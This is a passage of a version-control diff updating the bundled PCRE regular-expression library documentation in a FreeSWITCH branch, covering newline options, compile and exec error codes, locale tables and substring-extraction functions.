+  PCRE_NEWLINE_ANYCRLF
+  PCRE_NEWLINE_ANY
 </pre>
 These options override the default newline definition that was chosen when PCRE
 was built. Setting the first or the second specifies that a newline is
-indicated by a single character (CR or LF, respectively). Setting both of them
-specifies that a newline is indicated by the two-character CRLF sequence. For
-convenience, PCRE_NEWLINE_CRLF is defined to contain both bits. The only time
-that a line break is relevant when compiling a pattern is if PCRE_EXTENDED is
-set, and an unescaped # outside a character class is encountered. This
-indicates a comment that lasts until after the next newline.
+indicated by a single character (CR or LF, respectively). Setting
+PCRE_NEWLINE_CRLF specifies that a newline is indicated by the two-character
+CRLF sequence. Setting PCRE_NEWLINE_ANYCRLF specifies that any of the three
+preceding sequences should be recognized. Setting PCRE_NEWLINE_ANY specifies
+that any Unicode newline sequence should be recognized. The Unicode newline
+sequences are the three just mentioned, plus the single characters VT (vertical
+tab, U+000B), FF (formfeed, U+000C), NEL (next line, U+0085), LS (line
+separator, U+2028), and PS (paragraph separator, U+2029). The last two are
+recognized only in UTF-8 mode.
 </P>
 <P>
-The newline option set at compile time becomes the default that is used for
-<b>pcre_exec()</b> and <b>pcre_dfa_exec()</b>, but it can be overridden.
+The newline setting in the options word uses three bits that are treated
+as a number, giving eight possibilities. Currently only six are used (default
+plus the five values above). This means that if you set more than one newline
+option, the combination may or may not be sensible. For example,
+PCRE_NEWLINE_CR with PCRE_NEWLINE_LF is equivalent to PCRE_NEWLINE_CRLF, but
+other combinations may yield unused numbers and cause an error.
+</P>
+<P>
+The only time that a line break is specially recognized when compiling a
+pattern is if PCRE_EXTENDED is set, and an unescaped # outside a character
+class is encountered. This indicates a comment that lasts until after the next
+line break sequence. In other circumstances, line break sequences are treated
+as literal data, except that in PCRE_EXTENDED mode, both CR and LF are treated
+as whitespace characters and are therefore ignored.
+</P>
+<P>
+The newline option that is set at compile time becomes the default that is used
+for <b>pcre_exec()</b> and <b>pcre_dfa_exec()</b>, but it can be overridden.
 <pre>
   PCRE_NO_AUTO_CAPTURE
 </pre>
@@ -574,20 +661,24 @@
   PCRE_NO_UTF8_CHECK
 </pre>
 When PCRE_UTF8 is set, the validity of the pattern as a UTF-8 string is
-automatically checked. If an invalid UTF-8 sequence of bytes is found,
-<b>pcre_compile()</b> returns an error. If you already know that your pattern is
-valid, and you want to skip this check for performance reasons, you can set the
-PCRE_NO_UTF8_CHECK option. When it is set, the effect of passing an invalid
-UTF-8 string as a pattern is undefined. It may cause your program to crash.
-Note that this option can also be passed to <b>pcre_exec()</b> and
-<b>pcre_dfa_exec()</b>, to suppress the UTF-8 validity checking of subject
-strings.
+automatically checked. There is a discussion about the
+<a href="pcre.html#utf8strings">validity of UTF-8 strings</a>
+in the main
+<a href="pcre.html"><b>pcre</b></a>
+page. If an invalid UTF-8 sequence of bytes is found, <b>pcre_compile()</b>
+returns an error. If you already know that your pattern is valid, and you want
+to skip this check for performance reasons, you can set the PCRE_NO_UTF8_CHECK
+option. When it is set, the effect of passing an invalid UTF-8 string as a
+pattern is undefined. It may cause your program to crash. Note that this option
+can also be passed to <b>pcre_exec()</b> and <b>pcre_dfa_exec()</b>, to suppress
+the UTF-8 validity checking of subject strings.
 </P>
 <br><a name="SEC8" href="#TOC1">COMPILATION ERROR CODES</a><br>
 <P>
 The following table lists the error codes than may be returned by
 <b>pcre_compile2()</b>, along with the error messages that may be returned by
-both compiling functions.
+both compiling functions. As PCRE has developed, some error codes have fallen
+out of use. To avoid confusion, they have not been re-used.
 <pre>
    0  no error
    1  \ at end of pattern
@@ -599,17 +690,17 @@
    7  invalid escape sequence in character class
    8  range out of order in character class
    9  nothing to repeat
-  10  operand of unlimited repeat could match the empty string
+  10  [this code is not in use]
   11  internal error: unexpected repeat
-  12  unrecognized character after (?
+  12  unrecognized character after (? or (?-
   13  POSIX named classes are supported only within a class
   14  missing )
   15  reference to non-existent subpattern
   16  erroffset passed as NULL
   17  unknown option bit(s) set
   18  missing ) after comment
-  19  parentheses nested too deeply
-  20  regular expression too large
+  19  [this code is not in use]
+  20  regular expression is too large
   21  failed to get memory
   22  unmatched parentheses
   23  internal error: code overflow
@@ -618,11 +709,11 @@
   26  malformed number or name after (?(
   27  conditional group contains more than two branches
   28  assertion expected after (?(
-  29  (?R or (?digits must be followed by )
+  29  (?R or (?[+-]digits must be followed by )
   30  unknown POSIX class name
   31  POSIX collating elements are not supported
   32  this version of PCRE is not compiled with PCRE_UTF8 support
-  33  spare error
+  33  [this code is not in use]
   34  character value in \x{...} sequence is too large
   35  invalid condition (?(0)
   36  \C not allowed in lookbehind assertion
@@ -631,17 +722,33 @@
   39  closing ) for (?C expected
   40  recursive call could loop indefinitely
   41  unrecognized character after (?P
-  42  syntax error after (?P
+  42  syntax error in subpattern name (missing terminator)
   43  two named subpatterns have the same name
   44  invalid UTF-8 string
   45  support for \P, \p, and \X has not been compiled
   46  malformed \P or \p sequence
   47  unknown property name after \P or \p
   48  subpattern name is too long (maximum 32 characters)
-  49  too many named subpatterns (maximum 10,000)
-  50  repeated subpattern is too long
+  49  too many named subpatterns (maximum 10000)
+  50  [this code is not in use]
   51  octal value is greater than \377 (not in UTF-8 mode)
-</PRE>
+  52  internal error: overran compiling workspace
+  53  internal error: previously-checked referenced subpattern not found
+  54  DEFINE group contains more than one branch
+  55  repeating a DEFINE group is not allowed
+  56  inconsistent NEWLINE options
+  57  \g is not followed by a braced, angle-bracketed, or quoted
+        name/number or by a plain number
+  58  a numbered reference must not be zero
+  59  (*VERB) with an argument is not supported
+  60  (*VERB) not recognized
+  61  number is too big
+  62  subpattern name expected
+  63  digit expected after (?+
+  64  ] is an invalid data character in JavaScript compatibility mode
+</pre>
+The numbers 32 and 10000 in errors 48 and 49 are defaults; different values may
+be used if the limits were changed when PCRE was built.
 </P>
 <br><a name="SEC9" href="#TOC1">STUDYING A PATTERN</a><br>
 <P>
@@ -698,22 +805,29 @@
 <a name="localesupport"></a></P>
 <br><a name="SEC10" href="#TOC1">LOCALE SUPPORT</a><br>
 <P>
-PCRE handles caseless matching, and determines whether characters are letters
+PCRE handles caseless matching, and determines whether characters are letters,
 digits, or whatever, by reference to a set of tables, indexed by character
 value. When running in UTF-8 mode, this applies only to characters with codes
 less than 128. Higher-valued codes never match escapes such as \w or \d, but
 can be tested with \p if PCRE is built with Unicode character property
-support. The use of locales with Unicode is discouraged.
+support. The use of locales with Unicode is discouraged. If you are handling
+characters with codes greater than 128, you should either use UTF-8 and
+Unicode, or use locales, but not try to mix the two.
 </P>
 <P>
-An internal set of tables is created in the default C locale when PCRE is
-built. This is used when the final argument of <b>pcre_compile()</b> is NULL,
-and is sufficient for many applications. An alternative set of tables can,
-however, be supplied. These may be created in a different locale from the
-default. As more and more applications change to using Unicode, the need for
-this locale support is expected to die away.
+PCRE contains an internal set of tables that are used when the final argument
+of <b>pcre_compile()</b> is NULL. These are sufficient for many applications.
+Normally, the internal tables recognize only ASCII characters. However, when
+PCRE is built, it is possible to cause the internal tables to be rebuilt in the
+default "C" locale of the local system, which may cause them to be different.
 </P>
 <P>
+The internal tables can always be overridden by tables supplied by the
+application that calls PCRE. These may be created in a different locale from
+the default. As more and more applications change to using Unicode, the need
+for this locale support is expected to die away.
+</P>
+<P>
 External tables are built by calling the <b>pcre_maketables()</b> function,
 which has no arguments, in the relevant locale. The result can then be passed
 to <b>pcre_compile()</b> or <b>pcre_exec()</b> as often as necessary. For
@@ -725,6 +839,10 @@
   tables = pcre_maketables();
   re = pcre_compile(..., tables);
 </pre>
+The locale name "fr_FR" is used on Linux and other Unix-like systems; if you
+are using Windows, the name for the French locale is "french".
+</P>
+<P>
 When <b>pcre_maketables()</b> runs, the tables are built in memory that is
 obtained via <b>pcre_malloc</b>. It is the caller's responsibility to ensure
 that the memory containing the tables remains available for as long as it is
@@ -810,7 +928,7 @@
 </P>
 <P>
 If there is a fixed first byte, for example, from a pattern such as
-(cat|cow|coyote). Otherwise, if either
+(cat|cow|coyote), its value is returned. Otherwise, if either
 <br>
 <br>
 (a) the pattern was compiled with the PCRE_MULTILINE option, and every branch
@@ -832,6 +950,18 @@
 string, a pointer to the table is returned. Otherwise NULL is returned. The
 fourth argument should point to an <b>unsigned char *</b> variable.
 <pre>
+  PCRE_INFO_HASCRORLF
+</pre>
+Return 1 if the pattern contains any explicit matches for CR or LF characters,
+otherwise 0. The fourth argument should point to an <b>int</b> variable. An
+explicit match is either a literal CR or LF character, or \r or \n.
+<pre>
+  PCRE_INFO_JCHANGED
+</pre>
+Return 1 if the (?J) or (?-J) option setting is used in the pattern, otherwise
+0. The fourth argument should point to an <b>int</b> variable. (?J) and
+(?-J) set and unset the local PCRE_DUPNAMES option, respectively.
+<pre>
   PCRE_INFO_LASTLITERAL
 </pre>
 Return the value of the rightmost literal byte that must exist in any matched
@@ -868,7 +998,7 @@
 their parentheses numbers. For example, consider the following pattern (assume
 PCRE_EXTENDED is set, so white space - including newlines - is ignored):
 <pre>
-  (?P&#60;date&#62; (?P&#60;year&#62;(\d\d)?\d\d) - (?P&#60;month&#62;\d\d) - (?P&#60;day&#62;\d\d) )
+  (?&#60;date&#62; (?&#60;year&#62;(\d\d)?\d\d) - (?&#60;month&#62;\d\d) - (?&#60;day&#62;\d\d) )
 </pre>
 There are four named subpatterns, so the table has four entries, and each entry
 in the table is eight bytes long. The table is as follows, with non-printing
@@ -883,12 +1013,23 @@
 name-to-number map, remember that the length of the entries is likely to be
 different for each compiled pattern.
 <pre>
+  PCRE_INFO_OKPARTIAL
+</pre>
+Return 1 if the pattern can be used for partial matching, otherwise 0. The
+fourth argument should point to an <b>int</b> variable. The
+<a href="pcrepartial.html"><b>pcrepartial</b></a>
+documentation lists the restrictions that apply to patterns when partial
+matching is used.
+<pre>
   PCRE_INFO_OPTIONS
 </pre>
 Return a copy of the options with which the pattern was compiled. The fourth
 argument should point to an <b>unsigned long int</b> variable. These option bits
 are those specified in the call to <b>pcre_compile()</b>, modified by any
-top-level option settings within the pattern itself.
+top-level option settings at the start of the pattern itself. In other words,
+they are the options that will be in force when matching starts. For example,
+if the pattern /(?im)abc(?-i)d/ is compiled with the PCRE_EXTENDED option, the
+result is PCRE_CASELESS, PCRE_MULTILINE, and PCRE_EXTENDED.
 </P>
 <P>
 A pattern is automatically anchored by PCRE if all of its top-level
@@ -1097,14 +1238,15 @@
 called. See the
 <a href="pcreprecompile.html"><b>pcreprecompile</b></a>
 documentation for a discussion of saving compiled patterns for later use.
-</P>
+<a name="execoptions"></a></P>
 <br><b>
 Option bits for <b>pcre_exec()</b>
 </b><br>
 <P>
 The unused bits of the <i>options</i> argument for <b>pcre_exec()</b> must be
 zero. The only bits that may be set are PCRE_ANCHORED, PCRE_NEWLINE_<i>xxx</i>,
-PCRE_NOTBOL, PCRE_NOTEOL, PCRE_NOTEMPTY, PCRE_NO_UTF8_CHECK and PCRE_PARTIAL.
+PCRE_NOTBOL, PCRE_NOTEOL, PCRE_NOTEMPTY, PCRE_NO_START_OPTIMIZE,
+PCRE_NO_UTF8_CHECK and PCRE_PARTIAL.
 <pre>
   PCRE_ANCHORED
 </pre>
@@ -1113,14 +1255,51 @@
 to be anchored by virtue of its contents, it cannot be made unachored at
 matching time.
 <pre>
+  PCRE_BSR_ANYCRLF
+  PCRE_BSR_UNICODE
+</pre>
+These options (which are mutually exclusive) control what the \R escape
+sequence matches. The choice is either to match only CR, LF, or CRLF, or to
+match any Unicode newline sequence. These options override the choice that was
+made or defaulted when the pattern was compiled.
+<pre>
   PCRE_NEWLINE_CR
   PCRE_NEWLINE_LF
   PCRE_NEWLINE_CRLF
+  PCRE_NEWLINE_ANYCRLF
+  PCRE_NEWLINE_ANY
 </pre>
 These options override the newline definition that was chosen or defaulted when
-the pattern was compiled. For details, see the description <b>pcre_compile()</b>
-above. During matching, the newline choice affects the behaviour of the dot,
-circumflex, and dollar metacharacters.
+the pattern was compiled. For details, see the description of
+<b>pcre_compile()</b> above. During matching, the newline choice affects the
+behaviour of the dot, circumflex, and dollar metacharacters. It may also alter
+the way the match position is advanced after a match failure for an unanchored
+pattern.
+</P>
+<P>
+When PCRE_NEWLINE_CRLF, PCRE_NEWLINE_ANYCRLF, or PCRE_NEWLINE_ANY is set, and a
+match attempt for an unanchored pattern fails when the current position is at a
+CRLF sequence, and the pattern contains no explicit matches for CR or LF
+characters, the match position is advanced by two characters instead of one, in
+other words, to after the CRLF.
+</P>
+<P>
+The above rule is a compromise that makes the most common cases work as
+expected. For example, if the pattern is .+A (and the PCRE_DOTALL option is not
+set), it does not match the string "\r\nA" because, after failing at the
+start, it skips both the CR and the LF before retrying. However, the pattern
+[\r\n]A does match that string, because it contains an explicit CR or LF
+reference, and so advances only by one character after the first failure.
+</P>
+<P>
+An explicit match for CR of LF is either a literal appearance of one of those
+characters, or one of the \r or \n escape sequences. Implicit matches such as
+[^X] do not count, nor does \s (which includes CR and LF in the characters
+that it matches).
+</P>
+<P>
+Notwithstanding the above, anomalous effects may still occur when CRLF is a
+valid newline sequence and explicit \r or \n escapes appear in the pattern.
 <pre>
   PCRE_NOTBOL
 </pre>
@@ -1159,14 +1338,29 @@
 starting offset (see below) and trying an ordinary match again. There is some
 code that demonstrates how to do this in the <i>pcredemo.c</i> sample program.
 <pre>
+  PCRE_NO_START_OPTIMIZE
+</pre>
+There are a number of optimizations that <b>pcre_exec()</b> uses at the start of
+a match, in order to speed up the process. For example, if it is known that a
+match must start with a specific character, it searches the subject for that
+character, and fails immediately if it cannot find it, without actually running
+the main matching function. When callouts are in use, these optimizations can
+cause them to be skipped. This option disables the "start-up" optimizations,
+causing performance to suffer, but ensuring that the callouts do occur.
+<pre>
   PCRE_NO_UTF8_CHECK
 </pre>
 When PCRE_UTF8 is set at compile time, the validity of the subject as a UTF-8
 string is automatically checked when <b>pcre_exec()</b> is subsequently called.
 The value of <i>startoffset</i> is also checked to ensure that it points to the
-start of a UTF-8 character. If an invalid UTF-8 sequence of bytes is found,
-<b>pcre_exec()</b> returns the error PCRE_ERROR_BADUTF8. If <i>startoffset</i>
-contains an invalid value, PCRE_ERROR_BADUTF8_OFFSET is returned.
+start of a UTF-8 character. There is a discussion about the validity of UTF-8
+strings in the
+<a href="pcre.html#utf8strings">section on UTF-8 support</a>
+in the main
+<a href="pcre.html"><b>pcre</b></a>
+page. If an invalid UTF-8 sequence of bytes is found, <b>pcre_exec()</b> returns
+the error PCRE_ERROR_BADUTF8. If <i>startoffset</i> contains an invalid value,
+PCRE_ERROR_BADUTF8_OFFSET is returned.
 </P>
 <P>
 If you already know that your subject is valid, and you want to skip these
@@ -1196,11 +1390,11 @@
 </b><br>
 <P>
 The subject string is passed to <b>pcre_exec()</b> as a pointer in
-<i>subject</i>, a length in <i>length</i>, and a starting byte offset in
-<i>startoffset</i>. In UTF-8 mode, the byte offset must point to the start of a
-UTF-8 character. Unlike the pattern string, the subject may contain binary zero
-bytes. When the starting offset is zero, the search for a match starts at the
-beginning of the subject, and this is by far the most common case.
+<i>subject</i>, a length (in bytes) in <i>length</i>, and a starting byte offset
+in <i>startoffset</i>. In UTF-8 mode, the byte offset must point to the start of
+a UTF-8 character. Unlike the pattern string, the subject may contain binary
+zero bytes. When the starting offset is zero, the search for a match starts at
+the beginning of the subject, and this is by far the most common case.
 </P>
 <P>
 A non-zero starting offset is useful when searching for another match in the
@@ -1238,42 +1432,46 @@
 kinds of parenthesized subpattern that do not cause substrings to be captured.
 </P>
 <P>
-Captured substrings are returned to the caller via a vector of integer offsets
-whose address is passed in <i>ovector</i>. The number of elements in the vector
-is passed in <i>ovecsize</i>, which must be a non-negative number. <b>Note</b>:
-this argument is NOT the size of <i>ovector</i> in bytes.
+Captured substrings are returned to the caller via a vector of integers whose
+address is passed in <i>ovector</i>. The number of elements in the vector is
+passed in <i>ovecsize</i>, which must be a non-negative number. <b>Note</b>: this
+argument is NOT the size of <i>ovector</i> in bytes.
 </P>
 <P>
 The first two-thirds of the vector is used to pass back captured substrings,
 each substring using a pair of integers. The remaining third of the vector is
 used as workspace by <b>pcre_exec()</b> while matching capturing subpatterns,
-and is not available for passing back information. The length passed in
+and is not available for passing back information. The number passed in
 <i>ovecsize</i> should always be a multiple of three. If it is not, it is
 rounded down.
 </P>
 <P>
 When a match is successful, information about captured substrings is returned
 in pairs of integers, starting at the beginning of <i>ovector</i>, and
-continuing up to two-thirds of its length at the most. The first element of a
-pair is set to the offset of the first character in a substring, and the second
-is set to the offset of the first character after the end of a substring. The
-first pair, <i>ovector[0]</i> and <i>ovector[1]</i>, identify the portion of the
-subject string matched by the entire pattern. The next pair is used for the
-first capturing subpattern, and so on. The value returned by <b>pcre_exec()</b>
-is one more than the highest numbered pair that has been set. For example, if
-two substrings have been captured, the returned value is 3. If there are no
-capturing subpatterns, the return value from a successful match is 1,
-indicating that just the first pair of offsets has been set.
+continuing up to two-thirds of its length at the most. The first element of
+each pair is set to the byte offset of the first character in a substring, and
+the second is set to the byte offset of the first character after the end of a
+substring. <b>Note</b>: these values are always byte offsets, even in UTF-8
+mode. They are not character counts.
 </P>
 <P>
+The first pair of integers, <i>ovector[0]</i> and <i>ovector[1]</i>, identify the
+portion of the subject string matched by the entire pattern. The next pair is
+used for the first capturing subpattern, and so on. The value returned by
+<b>pcre_exec()</b> is one more than the highest numbered pair that has been set.
+For example, if two substrings have been captured, the returned value is 3. If
+there are no capturing subpatterns, the return value from a successful match is
+1, indicating that just the first pair of offsets has been set.
+</P>
+<P>
 If a capturing subpattern is matched repeatedly, it is the last portion of the
 string that it matched that is returned.
 </P>
 <P>
 If the vector is too small to hold all the captured substring offsets, it is
 used as far as possible (up to two-thirds of its length), and the function
-returns a value of zero. In particular, if the substring offsets are not of
-interest, <b>pcre_exec()</b> may be called with <i>ovector</i> passed as NULL and
+returns a value of zero. If the substring offsets are not of interest,
+<b>pcre_exec()</b> may be called with <i>ovector</i> passed as NULL and
 <i>ovecsize</i> as zero. However, if the pattern contains back references and
 the <i>ovector</i> is not big enough to remember the related substrings, PCRE
 has to get additional memory for use during matching. Thus it is usually
@@ -1334,7 +1532,7 @@
 other endianness. This is the error that PCRE gives when the magic number is
 not present.
 <pre>
-  PCRE_ERROR_UNKNOWN_NODE   (-5)
+  PCRE_ERROR_UNKNOWN_OPCODE (-5)
 </pre>
 While running the pattern match, an unknown item was encountered in the
 compiled pattern. This error could be caused by a bug in PCRE or by overwriting
@@ -1360,12 +1558,6 @@
 <b>pcre_extra</b> structure (or defaulted) was reached. See the description
 above.
 <pre>
-  PCRE_ERROR_RECURSIONLIMIT (-21)
-</pre>
-The internal recursion limit, as specified by the <i>match_limit_recursion</i>
-field in a <b>pcre_extra</b> structure (or defaulted) was reached. See the
-description above.
-<pre>
   PCRE_ERROR_CALLOUT        (-9)
 </pre>
 This error is never generated by <b>pcre_exec()</b> itself. It is provided for
@@ -1403,7 +1595,20 @@
   PCRE_ERROR_BADCOUNT       (-15)
 </pre>
 This error is given if the value of the <i>ovecsize</i> argument is negative.
+<pre>
+  PCRE_ERROR_RECURSIONLIMIT (-21)
+</pre>
+The internal recursion limit, as specified by the <i>match_limit_recursion</i>
+field in a <b>pcre_extra</b> structure (or defaulted) was reached. See the
+description above.
+<pre>
+  PCRE_ERROR_BADNEWLINE     (-23)
+</pre>
+An invalid combination of PCRE_NEWLINE_<i>xxx</i> options was given.
 </P>
+<P>
+Error numbers -16 to -20 and -22 are not used by <b>pcre_exec()</b>.
+</P>
 <br><a name="SEC15" href="#TOC1">EXTRACTING CAPTURED SUBSTRINGS BY NUMBER</a><br>
 <P>
 <b>int pcre_copy_substring(const char *<i>subject</i>, int *<i>ovector</i>,</b>
@@ -1457,7 +1662,7 @@
 <i>buffersize</i>, while for <b>pcre_get_substring()</b> a new block of memory is
 obtained via <b>pcre_malloc</b>, and its address is returned via
 <i>stringptr</i>. The yield of the function is the length of the string, not
-including the terminating zero, or one of
+including the terminating zero, or one of these error codes:
 <pre>
   PCRE_ERROR_NOMEMORY       (-6)
 </pre>
@@ -1474,7 +1679,7 @@
 memory that is obtained via <b>pcre_malloc</b>. The address of the memory block
 is returned via <i>listptr</i>, which is also the start of the list of string
 pointers. The end of the list is marked by a NULL pointer. The yield of the
-function is zero if all went well, or
+function is zero if all went well, or the error code
 <pre>
   PCRE_ERROR_NOMEMORY       (-6)
 </pre>
@@ -1520,7 +1725,7 @@
 To extract a substring by name, you first have to find associated number.
 For example, for this pattern
 <pre>
-  (a+)b(?P&#60;xxx&#62;\d+)...
+  (a+)b(?&#60;xxx&#62;\d+)...
 </pre>
 the number of the subpattern called "xxx" is 2. If the name is known to be
 unique (PCRE_DUPNAMES was not set), you can find the number from the name by
@@ -1548,9 +1753,16 @@
 </P>
 <P>
 These functions call <b>pcre_get_stringnumber()</b>, and if it succeeds, they
-then call <i>pcre_copy_substring()</i> or <i>pcre_get_substring()</i>, as
-appropriate.
+then call <b>pcre_copy_substring()</b> or <b>pcre_get_substring()</b>, as
+appropriate. <b>NOTE:</b> If PCRE_DUPNAMES is set and there are duplicate names,
+the behaviour may not be what you want (see the next section).
 </P>
+<P>
+<b>Warning:</b> If the pattern uses the "(?|" feature to set up multiple
+subpatterns with the same number, you cannot use names to distinguish them,
+because names are not included in the compiled code. The matching process uses
+only numbers.
+</P>
 <br><a name="SEC17" href="#TOC1">DUPLICATE SUBPATTERN NAMES</a><br>
 <P>
 <b>int pcre_get_stringtable_entries(const pcre *<i>code</i>,</b>
@@ -1562,23 +1774,27 @@
 that in any one match, only one of the named subpatterns participates. An
 example is shown in the
 <a href="pcrepattern.html"><b>pcrepattern</b></a>
-documentation. When duplicates are present, <b>pcre_copy_named_substring()</b>
-and <b>pcre_get_named_substring()</b> return the first substring corresponding
-to the given name that is set. If none are set, an empty string is returned.
-The <b>pcre_get_stringnumber()</b> function returns one of the numbers that are
-associated with the name, but it is not defined which it is.
-<br>
-<br>
+documentation.
+</P>
+<P>
+When duplicates are present, <b>pcre_copy_named_substring()</b> and
+<b>pcre_get_named_substring()</b> return the first substring corresponding to
+the given name that is set. If none are set, PCRE_ERROR_NOSUBSTRING (-7) is
+returned; no data is returned. The <b>pcre_get_stringnumber()</b> function
+returns one of the numbers that are associated with the name, but it is not
+defined which it is.
+</P>
+<P>
 If you want to get full details of all captured substrings for a given name,
 you must use the <b>pcre_get_stringtable_entries()</b> function. The first
 argument is the compiled pattern, and the second is the name. The third and
 fourth are pointers to variables which are updated by the function. After it
 has run, they point to the first and last entries in the name-to-number table
 for the given name. The function itself returns the length of each entry, or
-PCRE_ERROR_NOSUBSTRING if there are none. The format of the table is described
-above in the section entitled <i>Information about a pattern</i>. Given all the
-relevant entries for the name, you can extract each of their numbers, and hence
-the captured data, if any.
+PCRE_ERROR_NOSUBSTRING (-7) if there are none. The format of the table is
+described above in the section entitled <i>Information about a pattern</i>.
+Given all the relevant entries for the name, you can extract each of their
+numbers, and hence the captured data, if any.
 </P>
 <br><a name="SEC18" href="#TOC1">FINDING ALL POSSIBLE MATCHES</a><br>
 <P>
@@ -1608,11 +1824,12 @@
 </P>
 <P>
 The function <b>pcre_dfa_exec()</b> is called to match a subject string against
-a compiled pattern, using a "DFA" matching algorithm. This has different
-characteristics to the normal algorithm, and is not compatible with Perl. Some
-of the features of PCRE patterns are not supported. Nevertheless, there are
-times when this kind of matching can be useful. For a discussion of the two
-matching algorithms, see the
+a compiled pattern, using a matching algorithm that scans the subject string
+just once, and does not backtrack. This has different characteristics to the
+normal algorithm, and is not compatible with Perl. Some of the features of PCRE
+patterns are not supported. Nevertheless, there are times when this kind of
+matching can be useful. For a discussion of the two matching algorithms, see
+the
 <a href="pcrematching.html"><b>pcrematching</b></a>
 documentation.
 </P>
@@ -1671,9 +1888,9 @@
   PCRE_DFA_SHORTEST
 </pre>
 Setting the PCRE_DFA_SHORTEST option causes the matching algorithm to stop as
-soon as it has found one match. Because of the way the DFA algorithm works,
-this is necessarily the shortest possible match at the first possible matching
-point in the subject string.
+soon as it has found one match. Because of the way the alternative algorithm
+works, this is necessarily the shortest possible match at the first possible
+matching point in the subject string.
 <pre>
   PCRE_DFA_RESTART
 </pre>
@@ -1711,10 +1928,10 @@
 On success, the yield of the function is a number greater than zero, which is
 the number of matched substrings. The substrings themselves are returned in
 <i>ovector</i>. Each string uses two elements; the first is the offset to the
-start, and the second is the offset to the end. All the strings have the same
-start offset. (Space could have been saved by giving this only once, but it was
-decided to retain some compatibility with the way <b>pcre_exec()</b> returns
-data, even though the meaning of the strings is different.)
+start, and the second is the offset to the end. In fact, all the strings have
+the same start offset. (Space could have been saved by giving this only once,
+but it was decided to retain some compatibility with the way <b>pcre_exec()</b>
+returns data, even though the meaning of the strings is different.)
 </P>
 <P>
 The strings are returned in reverse order of length; that is, the longest
@@ -1740,8 +1957,9 @@
 <pre>
   PCRE_ERROR_DFA_UCOND      (-17)
 </pre>
-This return is given if <b>pcre_dfa_exec()</b> encounters a condition item in a
-pattern that uses a back reference for the condition. This is not supported.
+This return is given if <b>pcre_dfa_exec()</b> encounters a condition item that
+uses a back reference for the condition, or a test for recursion in a specific
+group. These are not supported.
 <pre>
   PCRE_ERROR_DFA_UMLIMIT    (-18)
 </pre>
@@ -1761,10 +1979,27 @@
 error is given if the output vector is not large enough. This should be
 extremely rare, as a vector of size 1000 is used.
 </P>
+<br><a name="SEC20" href="#TOC1">SEE ALSO</a><br>
 <P>
-Last updated: 08 June 2006
+<b>pcrebuild</b>(3), <b>pcrecallout</b>(3), <b>pcrecpp(3)</b>(3),
+<b>pcrematching</b>(3), <b>pcrepartial</b>(3), <b>pcreposix</b>(3),
+<b>pcreprecompile</b>(3), <b>pcresample</b>(3), <b>pcrestack</b>(3).
+</P>
+<br><a name="SEC21" href="#TOC1">AUTHOR</a><br>
+<P>
+Philip Hazel
 <br>
-Copyright &copy; 1997-2006 University of Cambridge.
+University Computing Service
+<br>
+Cambridge CB2 3QH, England.
+<br>
+</P>
+<br><a name="SEC22" href="#TOC1">REVISION</a><br>
+<P>
+Last updated: 11 April 2009
+<br>
+Copyright &copy; 1997-2009 University of Cambridge.
+<br>
 <p>
 Return to the <a href="index.html">PCRE index page</a>.
 </p>

Modified: freeswitch/branches/seven/libs/pcre/doc/html/pcrebuild.html (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/html/pcrebuild.html	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/html/pcrebuild.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -18,26 +18,39 @@
 <li><a name="TOC3" href="#SEC3">UTF-8 SUPPORT</a>
 <li><a name="TOC4" href="#SEC4">UNICODE CHARACTER PROPERTY SUPPORT</a>
 <li><a name="TOC5" href="#SEC5">CODE VALUE OF NEWLINE</a>
-<li><a name="TOC6" href="#SEC6">BUILDING SHARED AND STATIC LIBRARIES</a>
-<li><a name="TOC7" href="#SEC7">POSIX MALLOC USAGE</a>
-<li><a name="TOC8" href="#SEC8">HANDLING VERY LARGE PATTERNS</a>
-<li><a name="TOC9" href="#SEC9">AVOIDING EXCESSIVE STACK USAGE</a>
-<li><a name="TOC10" href="#SEC10">LIMITING PCRE RESOURCE USAGE</a>
-<li><a name="TOC11" href="#SEC11">USING EBCDIC CODE</a>
+<li><a name="TOC6" href="#SEC6">WHAT \R MATCHES</a>
+<li><a name="TOC7" href="#SEC7">BUILDING SHARED AND STATIC LIBRARIES</a>
+<li><a name="TOC8" href="#SEC8">POSIX MALLOC USAGE</a>
+<li><a name="TOC9" href="#SEC9">HANDLING VERY LARGE PATTERNS</a>
+<li><a name="TOC10" href="#SEC10">AVOIDING EXCESSIVE STACK USAGE</a>
+<li><a name="TOC11" href="#SEC11">LIMITING PCRE RESOURCE USAGE</a>
+<li><a name="TOC12" href="#SEC12">CREATING CHARACTER TABLES AT BUILD TIME</a>
+<li><a name="TOC13" href="#SEC13">USING EBCDIC CODE</a>
+<li><a name="TOC14" href="#SEC14">PCREGREP OPTIONS FOR COMPRESSED FILE SUPPORT</a>
+<li><a name="TOC15" href="#SEC15">PCRETEST OPTION FOR LIBREADLINE SUPPORT</a>
+<li><a name="TOC16" href="#SEC16">SEE ALSO</a>
+<li><a name="TOC17" href="#SEC17">AUTHOR</a>
+<li><a name="TOC18" href="#SEC18">REVISION</a>
 </ul>
 <br><a name="SEC1" href="#TOC1">PCRE BUILD-TIME OPTIONS</a><br>
 <P>
 This document describes the optional features of PCRE that can be selected when
-the library is compiled. They are all selected, or deselected, by providing
-options to the <b>configure</b> script that is run before the <b>make</b>
-command. The complete list of options for <b>configure</b> (which includes the
-standard ones such as the selection of the installation directory) can be
-obtained by running
+the library is compiled. It assumes use of the <b>configure</b> script, where
+the optional features are selected or deselected by providing options to
+<b>configure</b> before running the <b>make</b> command. However, the same
+options can be selected in both Unix-like and non-Unix-like environments using
+the GUI facility of <b>CMakeSetup</b> if you are using <b>CMake</b> instead of
+<b>configure</b> to build PCRE.
+</P>
+<P>
+The complete list of options for <b>configure</b> (which includes the standard
+ones such as the selection of the installation directory) can be obtained by
+running
 <pre>
   ./configure --help
 </pre>
-The following sections describe certain options whose names begin with --enable
-or --disable. These settings specify changes to the defaults for the
+The following sections include descriptions of options whose names begin with
+--enable or --disable. These settings specify changes to the defaults for the
 <b>configure</b> command. Because of the way that <b>configure</b> works,
 --enable and --disable always come in pairs, so the complementary option always
 exists as well, but as it specifies the default, it is not described.
@@ -54,7 +67,7 @@
 </P>
 <br><a name="SEC3" href="#TOC1">UTF-8 SUPPORT</a><br>
 <P>
-To build PCRE with support for UTF-8 character strings, add
+To build PCRE with support for UTF-8 Unicode character strings, add
 <pre>
   --enable-utf8
 </pre>
@@ -63,6 +76,13 @@
 have to set the PCRE_UTF8 option when you call the <b>pcre_compile()</b>
 function.
 </P>
+<P>
